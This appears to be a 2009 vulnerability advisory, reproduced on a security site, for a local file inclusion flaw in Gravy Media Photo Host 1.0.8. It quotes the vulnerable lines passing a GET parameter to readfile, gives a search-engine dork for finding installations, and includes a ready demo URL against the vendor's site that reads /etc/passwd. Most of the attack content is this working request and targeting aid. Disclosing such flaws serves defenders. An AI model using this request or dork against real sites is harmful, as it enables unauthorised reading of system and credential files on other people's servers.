Gravy Media Photo Host 1.0.8 Local File Inclusion

2009-06-24 / 2009-06-25
Credit: Lo$er
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

================================================================== =========Gravy Media Photo Host 1.0.8 Local File Inclusion======== ================================================================== Vendor:http://www.gravy-media.com/ Download:register to download Dork:"Powered by Gravy Media" Discovered By:Lo$er ====Vulnerable code(forcedownload.php)==== 27. $filename = $_GET['file']; 70. readfile("$filename"); ====Demo==== http://www.gravy-media.com/v108/forcedownload.php?file=%2Fetc%2Fpasswd

References:

none


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top